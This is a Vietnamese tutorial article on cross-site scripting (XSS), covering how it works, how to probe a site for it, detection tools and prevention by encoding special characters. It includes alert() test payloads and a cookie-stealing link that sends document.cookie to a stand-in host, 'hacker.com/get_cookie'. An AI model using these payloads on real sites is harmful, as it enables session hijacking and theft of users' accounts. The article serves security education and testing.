Cross-Site Scripting (XSS) là một trong những kĩ thuật tấn công phổ biến nhất hiên nay, đồng thời nó cũng là một trong những vấn đề bảo mật quan trọng đối với các nhà phát triển web và cả những người sử dụng web. Bất kì một website nào cho phép người sử dụng đăng thông tin mà không có sự kiểm tra chặt chẽ các đoạn mã nguy hiểm thì đều có thể tiềm ẩn các lỗi XSS. __1.XSS là gì?__ Cross-Site Scripting hay còn được gọi tắt là XSS (thay vì gọi tắt là CSS để tránh nhầm lẫn với CSS-Cascading Style Sheet của HTML) là một kĩ thuật tấn công bằng cách chèn vào các website động (ASP, PHP, CGI, JSP ...) những thẻ HTML hay những đoạn mã script nguy hiểm có thể gây nguy hại cho những nạn nhân sử dụng. __2.Lỗi xảy ra như thế nào__ Lỗi này xảy ra khi ứng dụng web thu nhận các dữ liệu nguy hiểm được nhập từ hacker. Một website thường chứa các link, thông qua các link này hacker có thể chèn các đoạn code vào và khi người dùng nào đó sử dụng link này thì coi như 99% là chết, hacker có thể thông qua lỗi này để chèn code vào site hay link để lấy các thông tin quan trọng từ nạn nhân Phụ thuộc vào mục đích của hacker, những đoạn Javascript được chèn vào để lấy những thông tin như: * Cookie: hacker có thể lấy được cookie của người dùng và dùng những thông tin trong cookie để giả mạo phiên truy cập hoặc lấy những thông tin nhạy cảm khác được lưu trong cookie. * Keylogging: hacker có thể ghi lại những thao tác gõ phím của người dùng bằng cách sử dụng sự kiện trong Javascript và gửi tất cả những thao tác gõ phím đó về cho hắn để thực hiện những mục đích như đánh cắp các thông tin nhạy cảm, lấy mật khẩu truy cập website hoặc mã số thẻ tín dụng... * Phishing: hacker có thể thay đổi giao diện của website bằng cách thay đổi cấu trúc HTML trong trang web để đánh lừa người dùng. Hacker có thể tạo ra những form đăng nhập giả nhằm lừa người dùng đăng nhập vào để đánh cắp mật khẩu. Sau đó các thông tin này được gửi tới cho hacker . Cách thường dùng của hacker là mã hoá các phần nguy hiểm của link ( đã chèn code) thành kiểu HEX ( hoặc có thể là các hình thức khác ) để làm cho nạn nhân ít nghi ngờ khi click vào cái link nguy hiểm đó . Sau đó là tìm cách nào đó để cho nạn nhân chịu click vào cái link đó. Hầu hết các ứng dụng web hiện nay dùng cookie để kết hợp 1 tài khoản duy nhất cho 1 người dùng nào đó , nghĩa là cookie của người nào người đó dùng . Các webmail , web bán hàng , nhà băng , ... đa số đều dùng cookie với mục đích chứng thực ngừơi dùng , và đây là cái mà hacker cần . __3.XSS hoạt động như thế nào?__ Về cơ bản XSS cũng như SQL Injection hay Source Injection, nó cũng là các yêu cầu (request) được gửi từ các máy client tới server nhằm chèn vào đó các thông tin vượt quá tầm kiểm soát của server. Nó có thể là một request được gửi từ các form dữ liệu hoặc cũng có thể đó chỉ là các URL như là http://www.example.com/search.cgi?query=<script>alert('Website đang bị lỗi XSS!');</script>. Và rất có thể trình duyệt của bạn sẽ hiện lên một popup thông báo "Website đang bị lỗi XSS!". ![Image](/uploads/images/4f6f0ac4bf7d28677507e141d8a9d9f0641b3e8c//a50755a7a355a0a916a67cc00eb370fe48c13274.png) Ví dụ website bị lỗi XSS Các đoạn mã trong thẻ script không hề bị giới hạn bởi chúng hoàn toàn có thể thay thế bằng một file nguồn trên một server khác thông qua thuộc tính src của thẻ script. Cũng chính vì lẽ đó mà chúng ta chưa thể lường hết được độ nguy hiểm của các lỗi XSS. Nhưng nếu như các kĩ thuật tấn công khác có thể làm thay đổi được dữ liệu nguồn của web server (mã nguồn, cấu trúc, cơ sở dữ liệu) thì XSS chỉ gây tổn hại đối với website ở phía client mà nạn nhân trực tiếp là những người khách duyệt site đó. Tất nhiên đôi khi các hacker cũng sử dụng kĩ thuật này đề deface các website nhưng đó vẫn chỉ tấn công vào bề mặt của website. Thật vậy, XSS là những Client-Side Script, những đoạn mã này sẽ chỉ chạy bởi trình duyệt phía client do đó XSS không làm ảnh hưởng đến hệ thống website nằm trên server. Mục tiêu tấn công của XSS không ai khác chính là những người sử dụng khác của website, khi họ vô tình vào các trang có chứa các đoạn mã nguy hiểm do các hacker để lại họ có thể bị chuyển tới các website khác, đặt lại homepage, hay nặng hơn là mất mật khẩu, mất cookie thậm chí máy tính bạn có thể sẽ bị cài các loại virus, backdoor, worm .. __4.Kiểm tra lỗi XSS__ __Bước 1:__ Mở website cần kiểm tra __Bước 2:__ Bắt đầu kiểm tra , định vị 1 ô tìm kiếm hoặc 1 login form và gửi thông tin đi (nhập thông tin và nhấn submit hay login hay ok gì đó ). Ví dụ nhập text: "Test thôi hị hị KCRD". __Bước 3:__ Xác định khả năng site có bị lỗi XSS hay không bằng cách xem thông tin trả về. Ví dụ bạn thấy thế này: "Your search for 'Test thôi hị hị KCRD' did not find any items" "Your search for 'Test thôi hị hị KCRD' returned the following results" "User 'Test thôi hị hị KCRD' is not valid" "Invalid login 'Test thôi hị hị KCRD'" hoặc là cái gì đó mà có dính tới chữ "Test thôi hị hị hị KCRD" mà bạn nhập vào ban đầu thì 99% trang này bị lỗi XSS. ![Image](/uploads/images/4f6f0ac4bf7d28677507e141d8a9d9f0641b3e8c//3976d927e6d1cb36654f17073144370820aa44b8.png) Website có khả năng cao bị lỗi XSS __Bước 4:__ Chèn code thực sự vào nơi bị lỗi. Bạn có thể chèn: <script>alert('Test thôi hị hị KCRD')</script> <i*g csstest=javascript:alert('Test thôi hị hị KCRD')> &{alert('Test thôi hị hị KCRD')}; vào ô tìm kiếm và nhấn "Search". Nếu sau đó bạn nhận được 1 popup có chữ "Test thôi hị hị KCRD" thì trang web này đã bị dính lỗi XSS. ![Image](/uploads/images/4f6f0ac4bf7d28677507e141d8a9d9f0641b3e8c//080d795def4d7749c1dce1d8c964ae2876aa94c8.png) Xác định website bị lỗi XSS sau khi javascript hoạt động và show popup Nhưng thỉnh thoảng vẫn có trường hợp website đó bị dính lỗi XSS nhưng vẫn không xuất hiện cái popup thì buộc lòng bạn phải view sources để xem. Khi view source kiểm tra dòng <script>alert(‘Test thôi hị hị KCRD’)</script>, nếu có thì có nghĩa là website dính lỗi XSS. ![Image](/uploads/images/4f6f0ac4bf7d28677507e141d8a9d9f0641b3e8c//aaf74e5f0c218875156291568cbf332568237be6.png) Qua 4 bước trên ta có thể xác định website có bị lỗi XSS hay không. Sau khi đã xác định được website bị lỗi XSS, chúng ta có thể dựa vào đó để thực hiện việc tấn công. 1 ví dụ điển hình là đánh cắp cookie của trình duyệt. Như chúng ta đã biết, các website sử dụng cookie lưu trên máy người dùng để định dạng người dùng. Mỗi khi client gửi request lên server với cookie đã được server trả về từ trước, server sẽ không cần phải hỏi lại các thông tin xác thực user nữa (kiểu như email và password), thay vào đó dựa vào cookie server sẽ biết luôn user là ai và cung cấp các quyền tương ứng. Dựa vào đặc tính của cookie, sau khi đánh cắp cookie của người dùng (victim), hacker có thể login truy cập vào trang web với quyền của victim mà không cần username và password. Sau đây là các bước cơ bản cho việc đánh cắp cookie. * Tạo 1 file nhận cookie từ phía client và post lên host của hacker. File có thể access thông qua link: http://hacker.com/get_cookie * Gửi cho nạn nhân 1 link có dạng: http://search.com?query=<script>window.open("http://www.hacker.com/get_cookie?cookie="+document.cookie)</script> Như vậy ngay sau khi user click vào đường link trên, cookie sẽ được tự động gửi đến trang http://hacker.com/get_cookie, và như vậy, cookie của user sẽ bị đánh cắp. Hình vẽ dưới đây mổ phỏng việc user đã bị đánh cắp cookie và hacker "thông báo" cho user điều đó. Trong thực tế thì điều này đương nhiên sẽ không xảy ra, và user bình thường cũng không để ý cookie của mình là gì. ![Image](/uploads/images/4f6f0ac4bf7d28677507e141d8a9d9f0641b3e8c//7e154d4ae876d64fa07bd69e990f3d7ae3cdd0ec.png) Trường hợp user đã bị đánh cắp cookie __5.Phát hiện XSS bằng cách nào?__ Nếu như các bạn sử dụng các mã nguồn của các chương trình có sẵn bạn có thể tham khảo danh sách các lỗ hổng của chương trình bạn trên các trang web chứa các thông tin về bảo mật như securityfocus.com, securiteam.com,... Tuy nhiên nếu các website được tự viết mã nguồn thì bạn không thể áp dụng phương pháp trên. Trong trường hợp này bạn cần đến các chương trình scanner tự động. Nếu như bạn sử dụng trong môi trường Windows bạn có thể dùng N-Stealth hay AppScan, đó là những chương trình scan khá tuyệt, bạn không chỉ kiểm tra được các lỗi XSS mà nó còn cho phép bạn kiểm tra các lỗi khác trong Website đó, Server đó. Tất nhiên đâu phải lúc nào bạn cũng cần kiểm tra tất cả, nếu như bạn chỉ muốn kiểm tra các lỗi XSS có trong website, bạn chỉ cần sử dụng screamingCSS. Đó là một Perl Script sẽ mở các kết nối tới website (sử dụng Perl's socket) để kiểm tra các lỗi XSS của bạn. Hơn nữa bạn có thể sử dụng nó trong cả môi trường Unix lẫn Windows. __6.Ngăn ngừa XSS như thế nào?__ Người ta không lường hết được mức độ nguy hiểm của XSS nhưng cũng không quá khó khăn để ngăn ngừa XSS. Có rất nhiều cách để có thể giải quyết vấn đề này. OWASP (The Open Web Application Standard Project) nói rằng để có thể xây dựng các website bảo mật cao, đối với các dữ liệu của người sử dụng bạn nên: * Chỉ chấp nhận những dữ liệu hợp lệ. * Từ chối nhận các dữ liệu hỏng. * Liên tục kiểm tra và thanh lọc dữ liệu. Tuy nhiên trên thực tế, một số trường hợp bạn phải chấp nhận mọi loại dữ liệu hay không có một bộ lọc phù hợp. Chính vì vậy bạn phải có những cách riêng để giải quyết. Một trong những cách hay sử dụng là bạn mã hoá các kí tự đặc biệt trước khi in ra website, nhất là những gì có thể gây nguy hiểm cho người sử dụng. Trong trường hợp này thẻ script sẽ được đổi thành script. Như vậy nó sẽ vẫn được in ra màn hình mà không hề gây nguy hiểm cho người sử dụng. Hình dưới đây là 1 ví dụ trang web cho phép hiển thị tất cả dữ liệu nhập vào nhưng không gây ra bất kỳ ảnh hưởng nào đến người dùng. Nhìn vào source code của trang, chúng ta có thể thấy các ký tự đặc biệt đều đã được mã hóa và script trở nên vô hại. ![Image](/uploads/images/4f6f0ac4bf7d28677507e141d8a9d9f0641b3e8c//dc816c00605539703521113679cfbf897b28ee66.png) Phòng ngừa XSS bằng cách mã hóa các ký tự đặc biệt __7.Nhìn nhận về XSS dưới quan điểm của 1 tester__ Nếu như coder sẽ phải tìm hiểu để phòng trống XSS bằng cách sửa chính những dòng code của mình, thì tester cần làm sao để "thấy" được càng nhiều lỗi XSS càng tốt. Hay nói cách khác là phát hiện tất cả các lỗi XSS có thể của hệ thống. Để làm được việc này, các test case cần được cập nhật thêm những case cho XSS. Đảm bảo rằng trên mọi màn hình của hệ thống, script mà user nhập vào không được chạy cũng là 1 dấu hiệu tốt đảm bảo hệ thống không mắc lỗi XSS. ___Tài liệu tham khảo___ Các kiểu khai thác XSS – Phần 1: Reflected XSS http://securitydaily.net/ky-thuat-khai-thac-xss-phan-1-reflected-xss/ Cross Site Scripting - XSS là gì? http://passionery.blogspot.com/2014/05/cross-site-scripting-xss-la-gi.html#.VJJ8OyusVly TÌM HIỂU LỖ HỔNG CROSS-SITE SCRIPTING (XSS) http://tek.eten.vn/tim-hieu-cross-site-scriptingxss KỸ THUẬT TẤN CÔNG VÀ CÁCH PHÒNG CHỐNG LỖI XSS TRÊN WEBSITE http://me.zing.vn/zb/dt/love_cute61/17414418?from=sortfull